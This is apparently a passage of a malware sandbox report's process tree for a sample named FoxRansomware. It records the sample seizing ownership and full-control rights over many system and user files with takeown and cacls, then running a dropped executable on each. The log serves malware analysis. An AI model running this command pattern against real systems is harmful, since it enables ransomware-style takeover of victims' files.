- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:6064
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml""
  2⤵
  PID:8144
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml" /E /G Admin:F /C
    3⤵
    PID:4732
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftInternetExplorer2013Backup.xml" -nobanner
    3⤵
    PID:288
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftInternetExplorer2013Backup.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:276
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:6044
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml""
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5964
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml" /E /G Admin:F /C
    3⤵
    PID:8184
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:8116
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:8104
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:8096
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:6844
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKPOINTDATA.xml""
  2⤵
  PID:8056
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKPOINTDATA.xml" /E /G Admin:F /C
    3⤵
    PID:6848
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKPOINTDATA.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:7956
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "WINDOWS.PERFTRACKPOINTDATA.xml" -nobanner
    3⤵
    PID:7980
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "WINDOWS.PERFTRACKPOINTDATA.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:7992
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:7888
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\AutoLogger-Diagtrack-Listener.etl""
  2⤵
  PID:7864
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\AutoLogger-Diagtrack-Listener.etl" /E /G Admin:F /C
    3⤵
    PID:7928
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\AutoLogger-Diagtrack-Listener.etl"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:7904
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "AutoLogger-Diagtrack-Listener.etl" -nobanner
    3⤵
    PID:7848
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "AutoLogger-Diagtrack-Listener.etl" -nobanner
      4⤵
      Executes dropped EXE
      PID:7836
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:7760
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.chk""
  2⤵
  PID:7784
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.chk" /E /G Admin:F /C
    3⤵
    PID:7720
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.chk"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:7744
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "edb.chk" -nobanner
    3⤵
    PID:7708
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "edb.chk" -nobanner
      4⤵
      Executes dropped EXE
      PID:7688
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:7660
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml""
  2⤵
  PID:7604
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml" /E /G Admin:F /C
    3⤵
    PID:7504
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:7512
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftInternetExplorer2013.xml" -nobanner
    3⤵
    PID:7536
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftInternetExplorer2013.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:7508
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:7460
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml""
  2⤵
  PID:7444
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml" /E /G Admin:F /C
    3⤵
    PID:7392
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:7372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftOffice2013Office365Win64.xml" -nobanner
    3⤵
    PID:7280
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftOffice2013Office365Win64.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:7352
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:7304
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml""
  2⤵
  PID:7236
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml" /E /G Admin:F /C
    3⤵
    PID:7216
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml"
    3⤵
    - Modifies file permissions
    PID:7200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftOffice2013Office365Win32.xml" -nobanner
    3⤵
    PID:7184
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftOffice2013Office365Win32.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:5536
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:6920
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml""
  2⤵
  PID:4872
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml" /E /G Admin:F /C
    3⤵
    PID:5128
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml"
    3⤵
    PID:5476
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftOutlook2016CAWin64.xml" -nobanner
    3⤵
    PID:5544
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftOutlook2016CAWin64.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:5512
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:5352
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml""
  2⤵
  PID:5364
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml" /E /G Admin:F /C
    3⤵
    PID:5084
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml"
    3⤵
    PID:200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftOutlook2016CAWin32.xml" -nobanner
    3⤵
    PID:6276
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftOutlook2016CAWin32.xml" -nobanner
      4⤵
      Executes dropped EXE
      PID:376
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:2316
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd""
  2⤵
  PID:5216
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd" /E /G Admin:F /C
    3⤵
    PID:2396
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd"
    3⤵
    PID:2952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "SettingsLocationTemplate2013.xsd" -nobanner
    3⤵
    PID:3316
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "SettingsLocationTemplate2013.xsd" -nobanner
      4⤵
      Executes dropped EXE
      PID:1804
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:4572
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd""
  2⤵
  PID:4892
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd" /E /G Admin:F /C
    3⤵
    PID:3852
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd"
    3⤵
    PID:3764
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "SettingsLocationTemplate.xsd" -nobanner
    3⤵
    PID:2280
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "SettingsLocationTemplate.xsd" -nobanner
      4⤵
      Executes dropped EXE
      PID:5604
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:2604
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa""
  2⤵
  PID:4624
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa" /E /G Admin:F /C
    3⤵
    PID:4648
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa"
    3⤵
    PID:4428
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "classes.jsa" -nobanner
    3⤵
    PID:6300
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "classes.jsa" -nobanner
      4⤵
      Executes dropped EXE
      PID:6312
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:3432
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin""
  2⤵
  PID:2576
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin" /E /G Admin:F /C
    3⤵
    PID:424
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin"
    3⤵
    PID:6344
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000004.bin" -nobanner
    3⤵
    PID:5764
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000004.bin" -nobanner
      4⤵
      Executes dropped EXE
      PID:3448
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:5760
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000H.bin""
  2⤵
  PID:6124
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000H.bin" /E /G Admin:F /C
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1208
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000H.bin"
    3⤵
    - Modifies file permissions
    PID:5240
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000000H.bin" -nobanner
    3⤵
    PID:2384
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000000H.bin" -nobanner
      4⤵
      Executes dropped EXE
      PID:4724
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:5700
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000S.bin""
  2⤵
  PID:3108
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000S.bin" /E /G Admin:F /C
    3⤵
    PID:1968
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000S.bin"
    3⤵
    PID:1936
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000000S.bin" -nobanner
    3⤵
    PID:4176
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000000S.bin" -nobanner
      4⤵
      Executes dropped EXE
      PID:4964
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6164
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000016.bin""
  2⤵
  PID:5480
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000016.bin" /E /G Admin:F /C
    3⤵
    PID:5884
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000016.bin"
    3⤵
    PID:5776
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000016.bin" -nobanner
    3⤵
    PID:6040
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000016.bin" -nobanner
      4⤵
      Executes dropped EXE
      PID:6624
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:4720
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000050.bin""
  2⤵
  PID:5680
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000050.bin" /E /G Admin:F /C
    3⤵
    PID:6864
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000050.bin"
    3⤵
    PID:6704
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000050.bin" -nobanner
    3⤵
    PID:1724
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000050.bin" -nobanner
      4⤵
      Executes dropped EXE
      PID:1040
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:5588
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006S.bin""
  2⤵
  PID:5424
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006S.bin" /E /G Admin:F /C
    3⤵
    PID:816
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006S.bin"
    3⤵
    PID:5668
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000006S.bin" -nobanner
    3⤵
    PID:4384
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000006S.bin" -nobanner
      4⤵
      Executes dropped EXE
      PID:5832
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:6644
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000076.bin""
  2⤵
  PID:6484
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000076.bin" /E /G Admin:F /C
    3⤵
    PID:6476
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000076.bin"
    3⤵
    - Modifies file permissions
    PID:6652
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000076.bin" -nobanner
    3⤵
    PID:6292
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000076.bin" -nobanner
      4⤵
      Executes dropped EXE
      PID:7328
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:6536
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007G.bin""
  2⤵
  PID:6424
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007G.bin" /E /G Admin:F /C
    3⤵
    PID:6448
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007G.bin"
    3⤵
    - Modifies file permissions
    PID:6376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000007G.bin" -nobanner
    3⤵
    PID:6532
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000007G.bin" -nobanner
      4⤵
      Executes dropped EXE
      PID:6460
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:6496
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007Q.bin""
  2⤵
  PID:6604
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007Q.bin" /E /G Admin:F /C
    3⤵
    PID:6872
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007Q.bin"
    3⤵
    PID:7096
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000007Q.bin" -nobanner
    3⤵
    PID:7124
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000007Q.bin" -nobanner
      4⤵
      Executes dropped EXE
      PID:7072
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - Executes dropped EXE
    PID:7028
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008F.bin""
  2⤵
  PID:6716
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008F.bin" /E /G Admin:F /C
    3⤵
    PID:7104
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008F.bin"
    3⤵
    - Modifies file permissions
    PID:7136
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000008F.bin" -nobanner
    3⤵
    PID:5952
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000008F.bin" -nobanner
      4⤵
      Executes dropped EXE
      PID:2368
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4036
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000095.bin""
  2⤵
  PID:936
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000095.bin" /E /G Admin:F /C
    3⤵
    PID:6048
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000095.bin"
    3⤵
